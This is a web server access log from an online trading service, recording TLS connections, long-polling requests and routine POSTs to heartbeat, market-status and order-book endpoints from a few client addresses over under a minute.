[09/Jan/2026:12:00:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931527411 HTTP/1.1" -
[09/Jan/2026:12:00:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931528430 HTTP/1.1" -
[09/Jan/2026:12:01:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931528879 HTTP/1.1" -
[09/Jan/2026:12:01:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931531178 HTTP/1.1" -
[09/Jan/2026:12:01:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931531155 HTTP/1.1" -
[09/Jan/2026:12:01:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931531963 HTTP/1.1" -
[09/Jan/2026:12:01:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931531936 HTTP/1.1" -
[09/Jan/2026:12:01:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931532448 HTTP/1.1" -
[09/Jan/2026:12:01:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931533496 HTTP/1.1" -
[09/Jan/2026:12:01:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931533952 HTTP/1.1" -
[09/Jan/2026:12:01:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931536214 HTTP/1.1" -
[09/Jan/2026:12:01:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931536303 HTTP/1.1" -
[09/Jan/2026:12:01:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931537023 HTTP/1.1" -
[09/Jan/2026:12:01:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931537141 HTTP/1.1" -
[09/Jan/2026:12:01:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931537472 HTTP/1.1" -
[09/Jan/2026:12:01:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931538558 HTTP/1.1" -
[09/Jan/2026:12:01:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931539057 HTTP/1.1" -
[09/Jan/2026:12:01:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931541275 HTTP/1.1" -
[09/Jan/2026:12:01:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931541520 HTTP/1.1" -
[09/Jan/2026:12:01:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931542079 HTTP/1.1" -
[09/Jan/2026:12:01:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931542508 HTTP/1.1" -
[09/Jan/2026:12:01:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931542268 HTTP/1.1" -
[09/Jan/2026:12:01:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931543618 HTTP/1.1" -
[09/Jan/2026:12:01:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931544145 HTTP/1.1" -
[09/Jan/2026:12:01:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931546333 HTTP/1.1" -
[09/Jan/2026:12:01:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931546658 HTTP/1.1" -
[09/Jan/2026:12:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931547137 HTTP/1.1" -
[09/Jan/2026:12:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931547557 HTTP/1.1" -
[09/Jan/2026:12:01:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931547555 HTTP/1.1" -
[09/Jan/2026:12:01:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931548693 HTTP/1.1" -
[09/Jan/2026:12:01:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:12:01:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931549216 HTTP/1.1" -
[09/Jan/2026:12:01:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931551403 HTTP/1.1" -
[09/Jan/2026:12:01:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931551848 HTTP/1.1" -
[09/Jan/2026:12:01:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931552194 HTTP/1.1" -
[09/Jan/2026:12:01:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931552576 HTTP/1.1" -
[09/Jan/2026:12:01:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931552727 HTTP/1.1" -
[09/Jan/2026:12:01:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931553756 HTTP/1.1" -
[09/Jan/2026:12:01:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931554303 HTTP/1.1" -
[09/Jan/2026:12:01:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931556471 HTTP/1.1" -
[09/Jan/2026:12:01:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931557029 HTTP/1.1" -
[09/Jan/2026:12:01:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931557264 HTTP/1.1" -
[09/Jan/2026:12:01:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931557614 HTTP/1.1" -
[09/Jan/2026:12:01:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931558007 HTTP/1.1" -
[09/Jan/2026:12:01:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931558812 HTTP/1.1" -
[09/Jan/2026:12:01:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931559364 HTTP/1.1" -
[09/Jan/2026:12:01:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931561527 HTTP/1.1" -
[09/Jan/2026:12:01:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931562138 HTTP/1.1" -
[09/Jan/2026:12:01:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931562653 HTTP/1.1" -
[09/Jan/2026:12:01:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931562322 HTTP/1.1" -
[09/Jan/2026:12:01:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931563236 HTTP/1.1" -
[09/Jan/2026:12:01:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931563876 HTTP/1.1" -
[09/Jan/2026:12:01:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931564483 HTTP/1.1" -
[09/Jan/2026:12:01:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931566595 HTTP/1.1" -
[09/Jan/2026:12:01:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931567277 HTTP/1.1" -
[09/Jan/2026:12:01:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931567684 HTTP/1.1" -
[09/Jan/2026:12:01:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931567395 HTTP/1.1" -
[09/Jan/2026:12:01:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931568294 HTTP/1.1" -
[09/Jan/2026:12:01:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931568933 HTTP/1.1" -
[09/Jan/2026:12:01:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:12:01:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:01:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931569599 HTTP/1.1" -
[09/Jan/2026:12:01:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931571663 HTTP/1.1" -
[09/Jan/2026:12:01:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931572724 HTTP/1.1" -
